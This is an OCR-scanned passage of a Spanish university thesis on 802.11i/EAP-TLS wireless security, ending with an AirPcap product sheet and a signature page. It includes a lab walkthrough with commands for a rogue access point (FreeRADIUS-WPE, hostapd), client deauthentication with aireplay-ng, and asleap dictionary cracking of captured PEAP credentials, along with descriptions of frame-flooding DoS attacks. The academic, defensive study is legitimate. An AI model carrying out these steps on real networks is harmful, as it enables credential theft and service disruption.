tunel EAP-TLS. Este mensaje negocia el tipo de tunel EAP que se va a

establecer, por defecto se establece PEAP si no existe otro método.

Como se ha comparado, el PEAP es un método menos seguro que TLS,
esto por cuanto solo necesita tener certificado instalados del lado del
servidor mas no del lado del cliente para establecer el tunel a lo contrario de
TLS, el cual requiere que se instalen los certificados en ambos lados. Es por
esto que PEAP resulta ser vulnerable a ataques de fuerza bruta con
diccionario para la obtencién de las credenciales (usuario y contrasefia) del

usuario.

Al tener implementada una red 802.11i con EAP-TLS, existe la
posibilidad de que un usuario intente conectar sus equipos inalambricos. En
este punto, el usuario no tendria instalado el certificado e intentara
conectarse a la red, se establecera una negociacion EAP y resultara en un
tunel PEAP.

En PEAP, el usuario selecciona la red inalambrica a la que desea
conectarse (tesis14) e ingresa sus credenciales (usuario y contrasena).
Seguido, el servidor envia su certificado y si el usuario acepta este

certificado y se establece la conexion.
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< Back Certificate { Certificate  Details < Settings Wi-Fi

Enter Password

Wi-Fi

SERVIDOR .
Country Name
Username Not Verified v tesis14 &=

State or Province Name
Password

Organization Name CHOOSE A NETWORK

More Details =
Organizational Unit Name TITANIUM AirPort a=d

. TITANIUM Guest a0
Common Name

Email Address Other...

QWERTYU I OP

ASDFGHUJKL Ask to Join Networks
Country Name

ZXCVBNM State or Province Name
123 @ 0 space return Organization Name

Figura. 152 Establecimiento de conexion PEAP

Ahora se comprobara como el atacante puede realizar el hackeo por
medio de fuerza bruta para conseguir las claves del usuario. A pesar de que
es una red definida para funcionar con EAP-TLS y ser segura, al no
establecerse normas y politicas de buenas practicas de seguridad dentro de
una empresa esta puede ser vulnerada. Como se ha analizado, si el
certificado no es instalado del lado del usuario para establecer el tunel TLS,
este por defecto establece PEAP. Entonces a continuacion se muestra el

ataque para este método.

El atacante inicializa el servidor FreeRADIUS — WPE que se explicé e

implemento6 en el modulo de BTS — Hacker — VMZ2. Se ingresa el comando:
>>root@bt:~# radiusd —X

A continuacién, se ejecuta hostapd para inicializar el AP (Falso) que

contiene las mismas caracteristicas que el punto de acceso real.
>>root@bt:~# hostapd hostapd-2.0/hostapd/hostapd.conf

Ahora, se genera un ataque de des autenticacion para cancelar la

conexion entre el AP (Real) y cliente ingresando:
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>>root@bt:~# aireplay-ng -0 5 —a 00:1B:B1:00:00:89 —c
28:6A:BA:EB:52:67 mon0

Esto con el fin de que el cliente intente conectarse con el AP (Falso),
ahora el servidor FreeRADIUS — WPE enviara un certificado falso al usuario,
el usuario al no ser capacitado sobre esta vulnerabilidad aceptara dicho
certificado que, como se comprobara en la siguiente figura es

completamente diferente al certificado original.

e00e0 movistar ¥ 837 T O IBKNE > eeee: movistar 3G n4a2 7 @ E% MM *eee0 movistar 3G n42 7 © 86% >
Enter the password for “tesis14” { Back Certificate { Certificate  Details
Cancel Enter Password

SUBJECT NAME

Example Server Certific...
Country Name FR

Username
Password State or Province Name
Descript ‘ SMA.KP‘-M‘::II,OA Organization N
Expires Jun 17, 2018, 16:57:28 |°'°~|m.

More Details Common Name “tesis14

Email Address

Dismiss

QWERTYU I OFP Loniodie

Country Name
ASDFGHUJKL
State or Province Name
= Z|X|C VIBINIM St Locality Name
123 o 9 space return Organization Name Ex

Figura. 153 Envio de certificado falso

Légicamente, la conexion sera rechazada debido a que el servidor
FreeRADIUS — WPE no puede autenticar el usuario con su tabla de
usuarios. Lo que nos interesa es que el usuario acepte este certificado
debido a que con esto se crea un log (freeradius-server-wpe.log) que
contiene informacion sobre el challenge y response de este intento de

establecer conexion, en la figura se muestra este proceso:

>>root@bt:~# tail /usr/local/var/log/radius/freeradius-server.log
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Figura. 154 Ejecucion de tail para obtener el challenge y response

Con esta informacion, se realizara un ataque de fuerza bruta con
diccionario para obtener la clave del usuario. Esto se lo realiza con el

siguiente comando:

>>root@bt:~# asleap —C (challenge) —R (response) —W (Direccion del

diccionario)
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Figura. 155 Ejecucion asleap

Finalmente, se obtiene la informacién que se deseaba del usuario. Con
el comando tail se obtiene el nombre del usuario (usuarioa) y al ejecutar el

comando asleap se conoce la clave del usuario (clavea).
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CAPITULO V

ANALISIS

La deteccion de vulnerabilidades en redes inalambricas 802.17i,
mediante el analisis de trafico de la capa de enlace comienza estableciendo
un escenario de prueba. El disefio del escenario contempla la
implementacion del protocolo EAP-TLS para definir el mecanismo de
autenticacion para los dispositivos que requieran conectarse a la WLAN,
considerado el mas seguro desarrollado para proteccion de este tipo de

redes.

El mecanismo de autenticacion 802.1X involucra tres elementos: el
suplicante, autenticador y el servidor de autenticacién. El suplicante es un
cliente con un dispositivo inalambrico que requiere conectarse a la red
inalambrica. El autenticador es un dispositivo de red que en nuestro caso es
un AP que actua como punto de acceso a una red protegida, este impide el
acceso del suplicante hasta que su identidad sea validada y autorizada por
medio del envié de credenciales (usuario y contrasefia) o certificados
digitales que seran reenviadas al servidor para su verificacion. El servidor de
autenticacion en un host que utiliza RADIUS y los protocolos EAP, este
determina si las credenciales son validas y permite al cliente, en caso de ser

validado, acceder a recursos dentro del lado de la red protegida.

Establecido el escenario de prueba, se realiza la captura de los paquetes
por medio de un sniffer llamado Kismet para el analisis de las tramas de
Control y Administracion en un ambiente normal de funcionamiento. Luego,
utilizando el adaptador AirPcap Nx se realiza la inyeccion de trafico de

tramas modificadas de Administracion o Control para realizar ataques de
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denegacién de servicio (DoS). Cabe sefalar que el analisis se basa sobre
este tipo de tramas ya que al momento de realizar la captura de trafico se
evidencio que son las mas propensas a ser violentadas por un ataque, ya
que son enviadas por el medio no guiado sin encriptacidon y son transmitidas
por difusion a todas las estaciones, donde un usuario con las herramientas
suficientes, puede obtener y extraer informacion valiosa acerca del punto de
acceso y los parametros de la red. Al igual que las tramas de administracién
las tramas de control se envian sin ningun tipo de encriptacion y viajan en
las cabeceras de las tramas a diferencia de las tramas de control cuya
captura u obtencion presentan un grado de complicacién mayor, ya que son
las encargadas del control de acceso al medio y se directamente entre
envian entre el AP y el equipo suplicante para reservar el canal de
comunicacion, existen varios tipos de tramas de control. Las dos tramas

Administracion y Control seran analizadas a continuacion.

Como se puede observar en capitulos anteriores existen varios tipos de
tramas y subtipos de cada una de ellas, que pueden ser identificadas
mediante el valor que este dentro de los campos en la cabecera que se
encuentra dentro de todas las tramas que se envian a través de la capa de
enlace. En la siguiente figura se puede observar como se estructura la

trama de la capa

# Octetos
2 2 6 6 2 2 6 0-2312 4

frame Sequence
Duration | Address1 | Address2 | Address3 9

Address 4 | Frame Body FCS
control control

&
< 7

Cabecera MAC
Figura. 156 Estructura trama MAC

Como se explicod, los campos de interés son aquellos dentro de la
cabecera de la trama, ya que son aquellos que contiene informacién
relevante sobre la conexion. A continuacion en la imagen se puede observar

los tramos descritos anteriormente, dentro del campo Frame control.
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BITS
2 2 4 1 1 1 1 1 1 1 1
Protocol From | More Pwr | More
. Type Subtype To DS Retry WEP Order
Version DS Frag Ngt Data

Figura. 157 Estructura trama de Control

Los bits que se encuentran en los campos de Type, definiran si la trama
es de Administracién, control, o datos, de igual manera los bits dentro del
campo Subtype, indica el tipo de subtipo de trama es decir en el caso de una
trama de Administracion los bits del primer campo seran 00, y un valor de 08
en el siguiente campo indicara que se trata de una trama Beacon, este
informacion es de suma importancia, considerando que conocer los valores
que toman los campos de la cabera de la trama, permitira definir el tipo de
trama y a su vez la informacion que cada una contiene, ya que como fue
descrito en capitulos anteriores cada trama contiene valores o datos

importantes acerca de las redes inalambricas.

Adicional al momento de realizar un analisis y estudio de tramas, se tiene
que tomar en cuenta los parametros ToDS y FromDS, los mismos que
determinan que equipos estan involucrados en el intercambio de
informacion, en la tabla que se muestra a continuacién se puede aprecia los
valores que toman cada uno de los campos y como las combinaciones
definen que tipo de equipos estan involucrados en el intercambio de

informacion.

Tabla. 5

Parametros DS

To DS From DS Addr 1 Addr 2 Addr 3 Addr 4
0 0 DA SA BSSIS N/A
1 0 DA BSSID SA N/A
0 1 BSSID SA DA N/A
1 1 RA TA DA SA
. DS: Distribution system.

. DA: Destination address.
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. SA: Source address.

. TA: Transmitter address.

. RA: Receiver address.

. BSSID: Basic service set identifier.

Un campo tomado en cuenta para el analisis fue el de Power
Management, es un campo de un solo bit que indica el estado de energia de
la estacion posterior a completar el intercambio de tramas. De igual forma el

campo WEP determina si el cuerpo de la trama tiene encriptacion WEP.

En las siguientes imagenes se puede apreciar un ejemplo de una trama
de administracién (Beacon), y control (RTS), junto con los valores que toman

los campos que componen la cabecera.
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4 Frame 1: 132 bytes on wire (1056 bits), 132 bytes captured (1056 bits)
= JEEE 502,11 Beacon frame, Flags: ........
Type/Subtype: Beacon frame (0x08)
w| Frome Control: Ox0000 (Normal)
Version: 0
Type: Managesent frame (0)

Subtype: 8
...... 00 = D5 status: Not leaving 05 or network s operating in AD.MOC mode (To D5: 0 From 05: 0) (MI
0., = More Fragments: This Is the Last frageent
oo 0000 = Retry: Frame 1s not being retransaitted
0w PWROGT: STA Wil stay wp

00 oo w More Data: No data buffered

Ou o = Protected flag: Data 1s not protected

Qoee 2000 = Order flag: Not strictly ordered
Duration: 0

Destination address: Broadcast (ff:ff:ff:ff:01:11)
Source address: WistronN 00:00:89 (00:1b:b1:00:00:89)
8B5S 1a: WistrooN 00:00:89 (00:1b:b):00:00:89)
Fragment mmber: 0

Sequence mumber: 1485

~ TEEE 902,11 wireless LAN snagenent frame
w| Fixed parameters (12 bytes)
Tisestanp: 0x0000000008485181
Beacon Interval: 0,.102400 [Seconds)
[= Copabilities Information: Oxd))
............... 1 » €55 copadilities: Transmitter is an AP

e

0 o 00, = CFP participation capabilities: No point coordinator at AP (0x0000)
........... b oooo = Privacy: AP/STA can support WEP

vo ool oo w Short Preasble: Short preasble allowed
conn e B0 oo w PBCCE PBCC modulation not allowed
........ 0.0 oo = Chaonel Agility: Channel agility not In use
....... 0 v v w Spectrum Management | dotllSpect rusManagenentRequired FALSE
vo odis veee woe w Short Slot Time: Short slot time in use
ee00 Qooe o000 o0 » Automatic Power Save Delivery: apsd not isplemented
00 i ceee ceee = DSSS.OFDM: DSSS.OFOM modulation not allowed
Bs ciir vies voes = Delayed Block Ack: delayed block ack not isplemented
Quoe 0000 0000 o000 « Immediate Block Ack: ismediate block ack not isplemented
# Togped parameters (96 bytes)
1
64 00 EINEE 00 07 74 65 7369 73 31 34 01 08 82 o[ .te sis)4
30 B460 96 Oc 12182403 0101050400000000 ......% ...oo0us
200100 3204 304860 6cod 180050 120200 *..2.M L. .P...
01060002a3400027 M O0OO0O2435c0062 ..... 0. ...B("b
200010000 0fac0I01000007 ¢ 2/0.... ..ovvvns
70 0401000001 ac 0100 G0GI09 0003 710100 ..ot vuviiins
00 2¢ 11
| @ 1855 participation (wlan_mgt.fixed... - Packets: 851352 Displayed: 8... - Profile: Default |

Figura. 158 BEACON FRAME



153

114202 22791.073747 Apple eb:52:67 (TA) 26:8¢:0¢:79:8e:35 (RA)

+| Frame 114202: 16 bytes on wire (128 bits), 16 bytes captured (128 bits)
— IEEE 862.11 Request-to-send, Flags: ........
Type/Subtype: Request-to-send (6x1b
—| Frame Control: 6x6084 (Normal)
Version: ©
Type: Control frame (1)

Subtype: 11
—| Flags: 0x0
..... 00 = DS status: Not leaving DS or network 1is operating in AD-HOC mode (To DS: © From DS: 0) (6x00
.0.. = More Fragments: This 1s the last fragment
oo @ = Retry: Frame 1s not being retransmitted
0. = PR MGT: STA will stay wp
..0. .... = More Data: No data buffered )
0.0 oo = Protected flag: Data is not protected
... ... = Order flag: Not strictly ordered
Duration: 126
Receiver address: 236:8e:0¢:79:8e:35 (26:8e:0¢:79:8e:35)
Transmitter address: Apple eb:52:67 (28:6a:ba:ed:52:67)

6000 b4 00 7e 00 a6 8e 6¢c 79 8e 35 28 6a ba ed 52 67 ~ y

w
»
o

T * Figura. 159 RTS FRAME

Como se puede observar las dos imagenes presentan diferencias
notables en los parametros que contienen, siendo la trama de administracion
la que proporciona mayor informacion acerca de la red, de igual manera se
puede apreciar la similitud en los parametros de Frame Control que fueron

descritos.

Previo a realizar ataques al estandar se debe conocer el funcionamiento
del mismo, es decir identificar las etapas, los mensajes, la informacion que
se intercambia en el proceso por el cual un usuario es autenticado, es asi
que se establece tres pasos fundamentales para la autenticacion, estos son:

inicializacion, Iniciacion - Negociacion y autenticacion.

Para el primer paso de inicializacién el AP bloquea los puertos para el
intercambio de informacion, permitiendo unicamente el intercambio de trafico
802.1X. en esta etapa se puede destacar el intercambio de mensajes y

tramas de administracién descritas en paginas anteriores, dentro de estas
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tramas podemos rescatar informacion sensible sobre los equipos como: las
direcciones MAC de los clientes, direcciones MAC de AP’s y sus ESSID.
Ademas podemos aprender sobre las asociaciones entre los distintos
equipos, sus niveles de potencia de transmisién, el canal de trasmision, el
tipo de encriptacion y el protocolo de autenticacion. Esta informacién se
puede identificar son facilidad ya que como fue explicado las tramas son

enviadas no estan encriptadas o protegidas.

En la siguiente etapa de iniciacion, el suplicante inicia o reinicia la
autenticacion al enviar tramas EAPOL-Start al autenticador, a partir de este
mensaje empieza un continuo intercambio de mensajes EAP entre el
suplicante y el servidor utilizando como distribuidor al autenticador que a
este punto a permitido el intercambio de nuevas tramas la mayoria de ellas
basadas en mensajes EAP, como se ha explicado en capitulos anteriores,
en esta etapa se realiza el proceso de negociacion del tunel seguro EAP-
TLS y generacion de llaves entre el suplicante y el autenticador que
establecen una conexidén segura para continuar con el proceso de hand-
shake. De todas las tramas y mensajes que se intercambian en esta etapa
se puede obtener informacion relevante de conexion como son la identidad
del usuario, la informacion que se encuentra dentro del certificado,
considerando que el resto de informacién viaja por el medio encriptada. Este
es lo que destaca y define como al estandar 802.717i con autenticacion EAP-
TLS como el sistema mas seguro para una red inalambrica. Pese a eliminar
la mayoria de ataques conocidos como, MITM, AP MALICIOSO, continua
siendo vulnerable a la mas grande amenaza que representa el usuario o la
negligencia del administrador de red que al no realizar una configuracion e
instalacion correcta y responsable de los certificados, creara un espacio para
generar ataques que facilitaran al usuario malicioso la obtencion de nuevos
parametros como la contrasefa que junto con la identidad permitira

establecer la conexidén y aprovechar los recursos de la red.
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La ultima etapa es la autenticacion, en donde el suplicante y el
autenticador ya poseen un PMK (Pairwise Master Key) idéntico, que
permitira generar llaves de emparejamiento por medio el intercambio de
mensaje en el proceso de hand-shake de 4 vias, cabe sefalar que ya en
esta etapa no se puede realizar ataques, ni capturar informacion relevante
ya que todo lo que se intercambia viaja encriptado. Finalizada la
autenticacion, de ser exitosa, se desbloquean los puertos, el trafico empieza
a fluir con normalidad y se tiene acceso a todos los recursos de al red. En
caso de una disociacidén de un cliente, los puertos vuelven a un estado de

bloqueo de todo el trafico que no sea EAP.

Habiendo analizado el funcionamiento de la red, y el proceso que realiza
cada usuario que desee conectarse, de igual forma en capitulos anteriores

se presentaron los mensajes que se intercambian en todo el transcurso.

Ahora se podria decir que el sistema implementado en el escenario de
pruebas es completamente seguro ya que elimina una cantidad de ataques
conocidos, pero por fallas inherentes del protocolo 802.71, como la falta de
encriptacion en tramas de Administracion y Control, considerando la
cantidad de informacion que contienen estas tramas, ademas la falta de
control a los usuarios siendo ellos los que representan el punto débil de la
seguridad en una red. Bajo esta premisa los ataques a los que el estandar
se encuentra expuesto son los de Denegacion de servicio (DoS), que son
ataques que afectan a la disponibilidad de la red, existen tres tipos de
ataques: al cliente, a la infraestructura, y al AP, los mismos que ya fueron

expuestos en capitulos anteriores,

En la busqueda de las vulnerabilidades, se hace uso de herramientas
como BT5. Este software permite realizar la manipulacion de las tramas de
administracion como por ejemplo Authentication o Deauthentication

Requests.
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Lo que se hace es modificar los parametros de las direcciones MAC para
apuntar hacia equipos que se desee atacar. Una vez realizado el
procedimiento, se produce la denegacion de servicios (DoS) al inundar la red
WLAN con estas nuevas tramas que no han sido generadas en un
funcionamiento normal de la red sino mas bien por un usuario malicioso
ajeno a la red. Esto genera confusion en la red y provoca disociaciones de
los usuarios con los AP. Los ataques no estan limitados unicamente a la
manipulacion de las tramas de Administracion, sino que también se lo hace
con las tramas de Control, por ejemplo tenemos ataques de inundacion de
tramas CTS/RTS, en el que se inunda con tramas de este tipo que afecta al
control de acceso al medio de los usuarios, restringiendo la transmision de
tramas de los mismo ya que mantiene reservado el canal para una direccién

MAC falsa generada con el ataque.
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CAPITULO VI

CONCLUSIONES Y RECOMENDACIONES

5.1 Conclusiones

. La implementacion del escenario de prueba permite conocer en
profundidad todos los componentes que conforman el estandar 802.11i. Esto
crea un conjunto de condiciones reales para analizar y determinar las

vulnerabilidades que se presenten en el estudio de la red inalambrica.

. Kismet es un analizador de trafico de red que captura paquetes por
medio de una tarjeta wireless compatible. A diferencia de los adaptadores

AirPcap, Kismet no puede inyectar trafico en la red inalambrica.

. El protocolo de autenticacion EAP-TLS crea un tunel seguro entre el
servidor de autenticacion y el suplicante, esto por cuanto se requiere la
instalacion de certificados validos en ambos partes para establecer
confianza con la autoridad de certificacion (CA). Esto garantiza la
inefectividad de ataques como MITM (men in the middle) o
enmascaramiento de AP maliciosos para la obtencion de las credenciales

por medio de fuerza bruta utilizando ataques con diccionarios.

. Por las grandes ventajas que ofrecen las redes inalambricas, se ha
evidenciado un crecimiento en la implementacion dentro del campo
empresarial, generando un mayor volumen de informacién en el espectro
radioeléctrico, medio en el que se encuentra expuesta y vulnerable a

ataques donde se puede violentar su integridad y confidencialidad.
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. Existen varios protocolos de proteccion para una red inalambrica, los
mismo que han ido evolucionando, considerando la necesidad de aumentar
la seguridad en la red, empezando desde WEP con una encriptacion de los
datos basica, hasta WPA2 Enterprise, siendo el mas robusto por su
caracteristica principal que se basa en una red de infraestructura para
realizar la validacion y autenticacion de clientes para el acceso a la red,
dispone de varios métodos de autenticacion EAP, cada uno con

caracteristicas propias y ventajas para la validacion de usuarios.

. El analisis de trafico sobre la capa de enlace del escenario de
pruebas, en el que se ha implementado el protocolo 802.711/ con
autenticacion EAP-TLS, ha permitido conocer el funcionamiento, y
comportamiento, que desarrollan el protocolo y el método de autenticaciéon
para el control de acceso de usuarios a la red inalambrica, es decir ha
permitido reconocer el comportamiento de la red en estado normal
reconociendo las tramas de administracion, control y datos, que se envian

las cuales contienen informacion relevante de la red.

. El estandar 802.11i con autenticacion EAP-TLS es considerado el
sistema mas seguro en contra de intrusiones o ataques, ya que por sus
caracteristicas elimina ataques conocidos como MITM (men in the middle),
enmascaramiento de AP maliciosos, ataques de diccionario, pero no es un
sistema completamente seguro ya que ese encuentra expuesto a ataques de
DoS (denegacion de Servicios) por vulnerabilidades inherentes en estandar
como por ejemplo, las tramas de la capa de enlace, y puntualmente en las
tramas de administracion y control las mismas que son enviadas a las
estaciones sin ningun tipo de encriptacion, permitiendo conocer informacién
valiosa de la red, que puede ser utilizada por un usuario malicioso para

generar ataques.

. Las tramas de administracién son las que poseen mayor cantidad de

informacion de la red y las mas numerosas en comparacion a las de control,
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es decir contienen parametros como ESSID, direcciones MAC, potencias de
transmision, y son enviadas en difusion a todas las estaciones que se
encuentren dentro del alcance de la misma, presentando uno de los puntos
de vulnerabilidad del estandar 802.77i, ya que este puede ocasionar la
realizacion de ataques de disociacion y desautenicacion de usuarios para
posterior al realizar un ataque de AP malicioso, que ocasionara que los
usuarios se conecten al AP falso y enviaran informacion importante como
credenciales, y datos de autenticacion, utilizadas por le atacante para

conectarse a la red.

. Las tramas de control con las encargadas de controlar el acceso al
medio en donde, dentro el protocolo CSMA/CA sincronizan el envié de
tramas de las estaciones hacia el AP, este procedimiento puede ser
violentado ya que al reconocer las tramas y las direcciones MAC de los
equipos se pueden generar ataques de Dos, inundado con tramas RTS/CTS
reservando el canal de trasmision esto produce que ningun usuario tengo
acceso al mismo que se encuentra reservado por tramas enviadas por el

atacante, para dejar sin servicio el AP.

. El método de EAP-TLS presenta una vulnerabilidad en el caso en que
no se instale los certificados tanto en el servidor como en el cliente. Esto lo
se detectd en dispositivos iOS, sucede cuando el cliente no tiene instalado el
certificado y se requiere establecer la conexion por medio del protocolo de
autenticacion EAP. En la negociacion del tunel en el paso 13 de la Figura.
108, se realiza la negociacién y el equipo al no contar con los certificados
instalados opta por el método PEAP, el mismo que es vulnerable a ataques
de MITM, enmascaramiento de AP malicioso y ataques de fuerza bruta con
diccionario, que permitira obtener las credenciales del usuario, y posterior el

ingreso a la red.
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5.2 Recomendaciones

. Todo el analisis de vulnerabilidades de seguridad en la capa de
enlace realizado en este documento para el estandar 802.711i, abarca las
tramas de Administracion y Control, por tanto puede ser utilizado como
sustento en el desarrollo de futuros estudios o en la creacion de software

para la deteccion de intrusiones en la red.

. En el estudio del escenario de prueba, se detecta como amenaza
potencial de la red inalambrica al usuario, por lo que es de suma importancia
que en un ambiente corporativo, este sea capacitado sobre las
vulnerabilidades en el protocolo de autenticacion EAP-TLS junto con
normas de seguridad, ya que si este no es establecido de forma adecuada

puede ser propenso a un ataque.

. Se debe analizar el método de autenticacion a implementar en una
red inalambrica, es decir considerar los paramentos como numero de
usuarios, escalabilidad de la red, se necesitara o no un administrador de red,
para poder plantear una solucién de seguridad eficiente, ya que de tomar
una decision incorrecta, se podra causar vulnerabilidades en la red,
molestias a los usuarios, pérdida de control sobre los usuarios a integrar a

la red.

. A medida de lo posible se debe implementar un sistema integral, para
el control de la seguridad, ataques, analisis de la red, es decir concentrar en
un mismo equipo la mayor cantidad de funciones, como ejemplo el escenario
planteado en este estudio, donde, el AP ofrece la funcién de autenticador, y
capturar el trafico que para por la red, esto por su caracteristica de integrar
dos tarjetas wireless y de permitir la instalacion de sistema operativo
(OpenWrt), basado en Linux, que ofrece la posibilidad de tener varios

paquetes para el control de trafico.
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. Un ataque de DoS a un sistema seguro como lo es el estandar
802.11i con autenticacion EAP-TLS, genera una cantidad de trafico excesivo
en la red, al incrementar la cantidad de trafico para ser procesado, obligara
al AP a incrementar el procesamiento, esto producira una alteracion dentro
de varios parametros del AP como: aumento de calor, aumento de
procesamiento, y finalmente la disociacién de los equipos, estos parametros
pueden ser identificados por software de administracién y gestion de red,
siendo estos una gran herramienta para un administrador de red al momento
de reconocer un ataque ya que ofrecen la posibilidad del monitoreo continuo

de los equipos por medio del protocolo SNMP.

. Se debe seguir el procedimiento correcto, sin omitir ningun paso al
momento de instalar los certificados en los equipos, ya que al no establecer
bien el método de autenticacidon generara un espacio para que se puedan

producir ataques, que permitan vulnerar la seguridad de la red.
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AirPcap Nx

ﬁ
il
AirPcap Nx Pricing
(APCNX) AirPcap Nx single USB WLAN Adapter .......... $698 USD

(APCNX3) AirPcap Nx 3-Pack (includes 4-port
USB MiNi=NUD) <. $2,094 USD

CACE Pilot/ AirPcap Nx Bundles Pricing

(P12NX) CACE Pilot with 12 mo. Update
Subscription and single AirPcap Nx adapter ............... $1,923 USD

(P12NX3) CACE Pilot with 12 mo. Update

Subscription and AirPcap Nx 3-Pack $3,180 USD

Pricing for all CACE products can be found on our catalog page at
www.cacetech.com/products/catalog.

Upgrading to AirPcap Nx

Owners of any functioning version of AirPcap can upgrade to
AirPcap Nx for the difference in price of the adapters plus the
associated shipping costs. Please contact sales@cacetech.com
for upgrade instructions.

AirPcap Nx Host System Requirements
Pentium compatible or better

Available USB 2.0 or 1.1 Slot

Microsoft® Windows 2000

Microsoft® Windows XP

Microsoft® Windows 2003 Server

Microsoft® Windows Vista

Microsoft® Windows 7

AirPcap Nx Product Specifications

Network Topology:
IEEE 802.11a/b/g/in

Operating Frequencies:
2.412-2484 GHz (b/g/n)
4.920-5.825 GHz (a/n)

802.11n Supported Modes:

+ Legacy Mode

« HT20 mixed mode

+ HT40 mixed mode. In this mode, the adapter captures HT40, HT20 and
legacy mode frames simultaneously.

802.11n Aggregation:
Capture of A-MPDU and A-MSDU frames

Modulations:
- CCK
+ OFDM
« HT-OFDM
o MCS 0-15
o Up to 2 spatial streams
o Detection of Short and Long Guard Interval
o 2x2 MIMO

Data Rates:

Up to 54Mbps for 802.11a/b/g

Up to 130Mbps (20MHz channels) and 300Mbps (40MHz channels) for
802.11n

Antennas:
Two built-in Antennas
Two integrated MC-Card connectors for optional external antennas

Decryption:

WEP

WPA PSK (in Wireshark)
WPA2 PSK (in Wireshark)

Power:

USB Bus (no external power)
5VDC

300mA (max) or 1.5 Watt (max)
Temperature:

Operating: 0C to 55C
Storage: -20C to 70C

Operating: 10%-70% (Non-condensing)
Storage: 5%-95% (Non-condensing)
Certifications:

RoHS compliant

About CACE Technologies, Inc.

Founded in 2005 with the vision of offering superior tools to the networking
community, CACE Technologies, Inc. has since become a leader in the
network analysis industry. Our innovative product portfolio includes the
AirPcap family of wireless packet capture adapters for Windows, the
TurboCap™ full-rate dual-port Gigabit Ethernet capture and injection
solution, and CACE Pilot™, a powerful and intuitive network analysis,
visualization and reporting tool. CACE also provides support, training,

and development for two of the most popular and highly acclaimed open-
source networking tools: WinPcap and Wireshark. All CACE products are
fully integrated with Wireshark and are designed to enhance the Wireshark
user experience. For information on our tools and services, visit www.
cacetech.com.

CACE

TECHNOLOGIES

CACE Technologies
1949 5th Street, Suite 103
Davis, CA 95616

C icatic www. com

tel: 530.758.2790

fax: 530.758.2781

email: info@cacetech.com

Creative
Advanced

Engineering
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Astudillo Cabrera y al Sr. Andrés Sebastian Troya Estrella, estudiantes de la
carrera de Ingenieria Electronica en Redes y Comunicacion de Datos, y
recibe por parte del Departamento de Eléctrica y Electrénica el Director de

Carrera de Redes y Comunicacion de Datos, el Sefior Dr. Nikolai Espinosa.

Jaime Javier Astudillo Cabrera Andrés Sebastian Troya Estrella
140043161-3 171273655-0

Dr. Nikolai Espinosa
DIRECTOR DE LA CARRERA DE INGENIERIA ELECTRONICA EN REDES
Y COMUNICACION DE DATOS



